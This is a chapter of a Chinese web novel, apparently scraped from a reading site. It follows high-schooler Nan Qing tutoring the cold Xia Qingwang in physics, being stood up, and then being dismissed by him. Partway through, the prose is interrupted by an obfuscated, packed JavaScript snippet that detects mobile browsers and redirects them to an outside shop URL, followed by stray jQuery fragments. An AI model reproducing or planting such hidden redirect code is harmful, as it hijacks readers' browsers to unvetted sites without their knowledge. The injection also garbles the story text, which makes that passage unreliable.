周四下午。
五一放三天小长假,刚放学,学校里就乱做一团。
许珍珍收拾完书包,问南青要不要去看夏清妄他们打球。
南青背上书包:“可以啊。”
两人和往常一样坐在篮球场看他们打球。
今天椅子上没放什么,他们的东西都堆在篮筐下。
蒋正远拿着两瓶矿泉水过来,一人一瓶,“就知道你会来。”
南青接过水说了声:“谢谢。”
许珍珍脱下书包,在人群中找夏清妄的身影,“夏清妄呢?怎么没看到他?”
蒋正远挡住她的视线,“许珍珍!到底谁是你对象?!”
“我替青青问的。”
他勉强被哄好,拧开水递过去:“上厕所去了。”
“知道啦,你可以走了,别挡着我们。”
蒋正远笑了声:“记得给我加油!”
“知道啦,知道啦。”
许珍珍喝了口水,把瓶子放在脚边,余光看见南青在低头玩手机。
“青青,放假你准备去哪玩啊?”
南青回复完短信,把手机收回兜里,“不知道。三天假,两天周末,一闭眼就过去了。”
许珍珍跟着叹了口气:“诶,谁说不是呢。”
年级主任说,你们现在高三了,要以学习为重,五一就放三天假,别把心玩野了。
“我本来还计划,放五天假,跟阿远去爬山呢。现在看来,估计没戏。”
“你们可以周六去啊。”
许珍珍晃了下脑袋,“我可不想体力活动完,又来学校进行脑力活动。”
南青笑了下。
确实,有这个时间,还不如在家睡觉。
“两位仙女,聊什么呢?”
郭枫凑过来,在南青旁边的空位上坐下。
“在聊放假去干嘛。”许珍珍问,“你们有什么活动吗?”
郭枫一脸兴奋,他老早就开始等五一假,“放假当然是要先熬一个大夜,然后打游戏啦!”
男生的快乐就是这么简单,熬夜打一通宵的游戏。
南青没那个精力,每天晚上11点准时困,“还是你们精力充沛。”
“仙女,你放假干嘛?”
“我啊?”南青想了下,“可能在家补觉吧。”
“那你会去奶茶店写作业吗?”
南青看到他眼里闪着的光,顿时明白了什么,“……不一定,要是没下雨可能会去。”
许珍珍:“什么奶茶店?”
南青解释:“就是我家附近篮球场那边的奶茶店,平时没什么人,我上次在那写作业,碰到他们打球。”
许珍珍看向郭枫,疑惑道:“你家不是和阿远一个方向吗?怎么跑到那打球?”
她记得南青家跟他们是相反的方向。
郭枫像是被戳中心事,语无伦次地解释:“不……不是,妄哥家在那边,我们是去找妄哥打球。”
许珍珍被逗笑:“你这么紧张干嘛?我就随便问问。”
没想到她家青青,追求者还挺多。
夏清妄上厕所回来,隔得老远就看到这三人坐在同一张长椅上,有说有笑。
不知道郭枫那个憨大个说了什么,许珍珍笑得前仰后合,连总是板着脸的南青都被逗得捂嘴笑。
“真的假的?蒋正远还有这么丢脸的时候,他都没跟我讲过。”
许珍珍笑得眼尾带出泪花,还没听到郭枫的下句,笑声就戛然而止。
夏清妄停在她们面前,淡漠的目光落在南青脸上。
她立马收起笑,眨了两下眼睛。
“不是要给我补习吗?走。”
丢下这句话,他便去篮筐下捡起自己的外套和书包。
抬头看见南青还愣在那,把书包随意跨在肩上,走过来又说了句。
“不走?”
话落,夏清妄径直从她们面前走过。
南青愣了两秒,立马拿起自己的书包,追上去。
许珍珍还是一脸懵,反应过来后,人已走远。她扭头看向郭枫,“他们俩背着我有情况?!”
郭枫感觉自己失恋了,一脸苦相:“可能吧。”
呜呜呜——
他好哥们喜欢仙女!
南青快步追上夏清妄,安静地跟在他身后,人还处在茫然的状态。
小心翼翼问:“你想去哪里补习?”
夏清妄没理她,南青心里挥拳。
没走多久,前面的人突然回头,那双狭长的桃花眼冷冷地看着她。
南青心感不妙,身子往后一缩,后背撞上冰冷的墙壁。
“你喜欢郭枫?”
她皱起眉头:“不喜欢。”
“蒋正远?”
“不喜欢。”
“那你天天往篮球场跑什么?”夏清妄冰冷的眼神染上玩味,“喜欢我?”
南青还是摇头:“不喜欢。”
心口不一。
夏清妄没好气地笑了下,忽地低头,往她跟前凑了凑,“成,我喜欢你,行了吧。”
身后突然一重。
南青被他拎小鸡似的,拎着书包带,一路往外走。
一直走到篮球场的那家奶茶店,被摁进窗户边的座位上,他才松开。
夏清妄点了两杯喝的,折返回来,二大爷似的坐在她身旁。
“开始。”
空气被他身上的戾气,压得低沉。
南青偷偷瞄了他一眼,不知道他要干嘛。乖乖卸下书包,摸了半天,摸出一张物理试卷。
试探着问:“物理?”
夏清妄夺过试卷,前后看了看,随便指了一题:“这道。”
南青不知道他是真听,还是假听。但还是拿出笔,认真地讲解起来。
做戏做全套。
想到夏清妄52分的物理试卷,细致到每一个步骤用的概念,南青都和盘托出。
店员把饮料端上来,夏清妄拿起一杯,喝了一口,又捡起她放在桌上的笔盖,无聊玩起来。
一题讲完,南青转过头问他:“听懂了吗?”
夏清妄没答,又指了一题。
南青眼睫颤了两下。
她能感觉到夏清妄心情不错,但周围的气压还在下降,空气凝滞,让她莫名紧张。
南青把草稿纸翻了一页,在无形的压力下,开始讲。
“这道题跟上一道的思路完全相反……”
题目讲完,她后背沁出一层薄汗,用余光去瞥夏清妄。
他阖着眼,一只手随意搭在皮质沙发上,另一手搭在桌上,把玩她的笔盖。
南青咽了咽口水,缓声道:“思路就是这样,遇到差不多的题目,可以用同样的办法把条件代进去。”
话音落下,夏清妄缓缓睁开眼,把笔盖丢在桌上,发出“哒”的一声。
“嗯,明天下午两点,继续。”
他就这样走了。
空气重新流动起来,南青卸了力气,懒懒倒在椅背上,喘着气儿。
心跳快得像是要跳出胸腔。
夏清妄是神秘的,身上带着这个年龄段惯有的幼稚,心理层面上又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723165|208764||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有着超出这个年纪的沉稳。
情绪不外露的人,做什么都会显得奇怪。
南青盯着底下的篮球场。
他这算是主动上钩吗?还是单纯觉得逗她好玩?
那明天她来吗?
如果不来,后面她该怎么继续?
南青还是来了。
第二天下午两点,准时出现在奶茶店,坐在那个她第一次坐的位置上。
但夏清妄没来……
南青以为他还在路上,便拿出作业先写。
时间一点点流逝,等她写完数学试卷,夏清妄还是没有出现。
半个小时、一个小时、一个半小时……
南青盯着门口,觉得自己被耍了。
她就不应该相信夏清妄,他明显是捉弄自己,害她在奶茶店白等这么久。
南青调整了一下呼吸,起身上了个厕所,重新坐下。
算了,来都来了,就当正常来复习吧。
她把夏清妄抛到脑后,从书包里拿出语文作业开始写。
……
四点。
距离约定的时间已经过去了两个小时。
这两个小时,足够让南青明白他不是迟到,而是在耍她,然后气愤离开。
可当夏清妄来到奶茶店,却发现她没走。
安安静静地坐在那,埋头写作业。
明明知道这一切都是她的把戏,夏清妄还是生出一丝动容。
他站在屋檐下,从兜里摸出烟盒,点燃一根。
门前的绿植半掩住他的身形,屋内的少女始终没抬头。
烟抽完,他走进店内,在南青身旁坐下。
“开始。”
身旁的位置陷下去,熟悉的嗓音响起。
南青笔锋一顿,怔愣地偏头。
是夏清妄。
她又看了眼时间——四点过几分。
他还是来了。
气氛变得微妙,夏清妄却神情自然,姿态慵懒,仿佛现在是下午两点,而不是四点。
“学什么?”
夏清妄抬了下眼皮,薄唇轻启:“物理。”
南青拿出已经写完的物理作业,他像昨天一样,随便指了一题。
南青缓声讲解。
讲了两句,夏清妄拿起她的笔盖,在指尖把玩。
南青看了一眼便收回目光,认真讲题。
夏清妄侧目。
她今天没扎头发,一头乌黑亮丽的秀发垂在胸前,素净白皙的小脸上不施任何粉黛,依旧美得不可方物。
明明是长相偏甜美的鹅蛋脸和大眼睛,在她这里就变成了有距离感的清冷长相。
这样干净又纯粹的脸,不染凡尘,会有什么目的呢?
让他猜猜——
暗恋?
跳板?
还是打赌?
“你听懂了吗?”
南青讲完,看向他,生得纯净的眼底映出他的模样。
那双眼睛太干净了,干净到夏清妄真的以为她是单纯的喜欢他,才会做出这些看似无意的偶然。
但对视上的那一刻,他突然就不感兴趣了,不想再继续当她棋局里的棋子。
“嗯,”夏清妄欠了欠身,抽出少女手中的笔,盖上笔帽,丢进那个挂着吊坠的文具盒里。
南青不明白地颤了颤眼睫。
下一秒,听见他说——
“不过,讲得太烂,你被解雇了。”
夏清妄起身,在点单台点了一个巧克力慕斯。
“佣金。”
——两清。